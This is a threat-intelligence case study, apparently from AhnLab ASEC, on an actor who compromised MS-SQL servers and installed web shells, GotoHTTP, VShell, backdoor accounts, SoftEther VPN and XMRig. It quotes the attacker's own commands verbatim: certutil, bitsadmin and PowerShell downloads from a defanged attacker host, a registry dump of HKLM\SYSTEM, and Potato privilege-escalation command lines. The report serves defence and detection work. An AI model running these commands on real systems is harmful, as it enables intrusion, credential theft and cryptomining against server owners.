Case Study: Targeted Attack Case on an MS-SQL Server Involving the Installation of GotoHTTP and SoftEther VPN
While monitoring attack cases targeting MS-SQL servers, the AhnLab SEcurity intelligence Center (ASEC) identified an instance in which the Larva-26009 threat actor installed the XMRig CoinMiner. While the installation of CoinMiner is common in attack cases targeting MS-SQL servers, in this particular attack case, the attacker installed VShell and GotoHTTP to gain control over the infected system and also installed SoftEther to use it as a VPN server.
1. Initial Breach (MS-SQL)
Although the initial intrusion method is unknown, it is presumed that the MS-SQL server was the attack target. The threat actor exploited the MS-SQL server for command execution, which in turn downloaded additional payloads. On the compromised system, only logs showing the ping command execution were found; the attacker installed malware by executing download commands without performing any additional information retrieval.
> Ping -n 10 127.0.0.1
Figure 1. PowerShell executed by the MS-SQL server process
2. Web Shell Installation (IIS Web Server)
Although the initial breach occurred on an MS-SQL server, a web shell was additionally installed on systems with a web server to maintain persistence and control the infected system. The following command, identified in an attack case, used certutil.Exe to decrypt the web shell downloaded from the internet.
> Certutil.Exe -decode E:\*****\web\*****\images\1.Txt E:\******\web\*****\images\homename.Aspx
Although the web shell used in the attack was not recovered, web shell malware was present on the threat actor’s download server, so it is possible that it was downloaded from that address. The first type is an ASPX web shell named Sharp4WebCmd that supports command execution, while the second type is Suo5, which supports tunneling functionality.
Figure 2. ASPX web shells used in the attack
In addition, there are web shells created using PowerShell scripts, which allow the attacker to perform System Control on infected systems by connecting to port 37681 even in environments other than web servers. The PowerShell web shell requires authentication upon login; the default username is “joke” and the password is “jokeyyds666.”
Figure 3. PowerShell web shell
3. Others
3.1. Credential Theft
The threat actor attempted to dump the “HKLM\SYSTEM” registry by performing command execution. This command is typically used as part of the process for credential theft, along with dumping “HKLM\SAM” and “HKLM\SECURITY”.
> Reg save HKLM\SYSTEM C:\users\[username]\ys.Hiv
The download server contained HackBrowserData, an open-source tool designed for information theft, which includes stealing credentials, history, and cookies stored in web browsers. It supports Chromium-based browsers as well as Firefox and Safari.
3.2. Potatos
Threat actors are using various privilege escalation tools, such as JuicyPotatoNG, SigmaPotato, BadPotato, and RustPotato.
3.3. Scanners
The Fscan tool has also been uploaded to the download server; it appears that threat actors can use it to scan internal networks as needed to identify Attack Targets for lateral movement.
3.4. Shellcode, RingQ
The threat actors used encrypted data files to bypass detection. The malware, which is capable of executing shellcode, receives the path to the encrypted shellcode and a password as arguments, decrypts the shellcode using the DJB2 algorithm, and then executes it in memory.
RingQ is a tool available on GitHub that reads an encrypted file located in the same Path, decrypts it, and executes it in memory. Inside the compressed file located on the threat actor’s download server are RingQ and an encrypted data file named “main.Txt.” When RingQ is executed, it decrypts “main.Txt” located in the same Path and executes it in memory; the decrypted payload is GotoHTTP.
In another attack case, a legitimate NVIDIA utility was exploited. The code section of that file was patched to serve as a shellcode loader; the loader reads the downloaded “gojoke.Png” using the following command, decrypts it in memory, and executes it.
> PowerShell (new-object System.Net.WebClient).DownloadFile(‘hxxp://pub-c4c8e8c336c3429d97195076bf3bb6eb.R2[.]Dev/goto/gojoke.Png’,’C:\users\%ASD%\gojoke.Png’)”
4. Remote Control
4.1. GotoHTTP
GotoHTTP is sometimes uploaded directly to the download server, but it is also distributed as encrypted data and executed by RingQ and shellcode loaders. The threat actor used GotoHTTP to install privilege escalation tools and executed commands as follows:
> Net group /domain
> RasManPotato.Exe -c “cmd /c ipconfig”
> JuicyPotatoNG.Exe -t * -p “C:\Windows\system32\cmd.Exe” -a “/c ipconfig > C:\users\%ASD%\1.Txt”
4.2. Chrome Remote Desktop
The download server also contains the installation file for Chrome Remote Desktop. If Google’s Chrome Remote Desktop is installed on a specific system using the threat actor’s account, it provides remote control capabilities for that system via the Chrome web browser from another system. Similar to GotoHTTP, Chrome Remote Desktop is a tool frequently used in legitimate environments; therefore, unlike typical malware, there are limitations to simply detecting and blocking such tools. Threat actors exploit such a fact by installing remote control tools instead of backdoor malware to gain System Control over the Attack Target system during the Initial Intrusion or lateral movement phases.
4.3. Backdoor Accounts
The threat actor used a batch malware script to add backdoor accounts, which was characterized by comments written in Chinese. Accounts named “MSSQLSERVERS$,” “mssql$,” and “adminweb1$” were added; the “$” appended to the end of the names, through the SpecialAccounts registration process, makes it difficult for existing users to detect that new accounts have been added. The threat actor will likely be able to exercise remote control over the infected system through RDP using these newly created accounts.
Figure 4. Malware that adds user accounts
4.4. VShell
While it sometimes exploits legitimate tools, the download server also hosts the VShell backdoor malware. VShell is a backdoor malware developed in the Go programming language that supports multiple platforms, including Windows and Linux. It supports protocols such as TCP, HTTP, and UDP for communication with the C&C server and provides remote control functions such as remote command execution and file management. Additionally, Mimikatz, the Fscan scanner, the gost proxy, and the user account creation tool can be used as plugins.
Figure 5. VShell configuration data
4.5. Proxy
In some attack cases, Cloudflared was used to expose local ports to the outside. The PowerShell script, as follows, downloads a compressed file and then runs Cloudflared to expose available local ports to the outside. The access URL generated during Cloudflared command execution is saved to a log file and transmitted to the C&C server.
Figure 6. PowerShell script exposing a local port using Cloudflare
5. Final Payload
5.1. XMRig
The threat actor used remote control tools, backdoor accounts, and VShell to gain control over the infected system, enabling Information Theft. In an actual attack case, XMRig was installed; the compressed file containing XMRig was downloaded through the following command:
> Bitsadmin /transfer “Download_xmr-1.Zip” /download /priority normal “hxxp://pub-c4c8e8c336c3429d97195076bf3bb6eb.R2[.]Dev/wk/009/xmr-1.Zip” “C:\Program Files (x86)\Microsoft\EdgeUpdate\xmr-1.Zip”
The “edge.Exe” file contained within the compressed file is a shellcode loader that decrypts “edgeico.Ico”—on the same path—and executes it in memory. The program that is ultimately executed is the XMRig CoinMiner.
Figure 7. XMRig configuration file
5.2. SoftEther VPN
In addition to XMRig, a SoftEther VPN server was installed on the infected system. The configuration file reveals that the threat actor operates the infected system not as a standalone VPN server, but using a “Cascade Connection” method that connects to another VPN server. In other words, it is presumed that the threat actor is utilizing this to build a C&C infrastructure designed to enhance security and privacy and to obstruct tracking of the actual C&C server.
> Certutil.Exe -urlcache -split -f “hxxp://pub-c4c8e8c336c3429d97195076bf3bb6eb.R2[.]Dev/009/qd_c_joke1.2.Ps1” C:\users\%ASD%\qd_c_joke1.2.Ps1
Figure 8. SoftEther VPN configuration file
6. Conclusion
Typical attacks targeting MS-SQL servers include brute force attacks and dictionary attacks against systems with improperly managed account information. Administrators must use passwords that are difficult to guess and change them periodically to protect database servers from brute force attacks and dictionary attacks.
They should also ensure that V3 is updated to the latest version to proactively block Malware infections. Furthermore, for database servers that are publicly accessible from the outside, security products such as firewalls should be used for access control to prevent threats and malware from gaining unauthorized access. If the above measures are not taken, continuous infections by threat actors and malware may occur.
Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click the banner below.
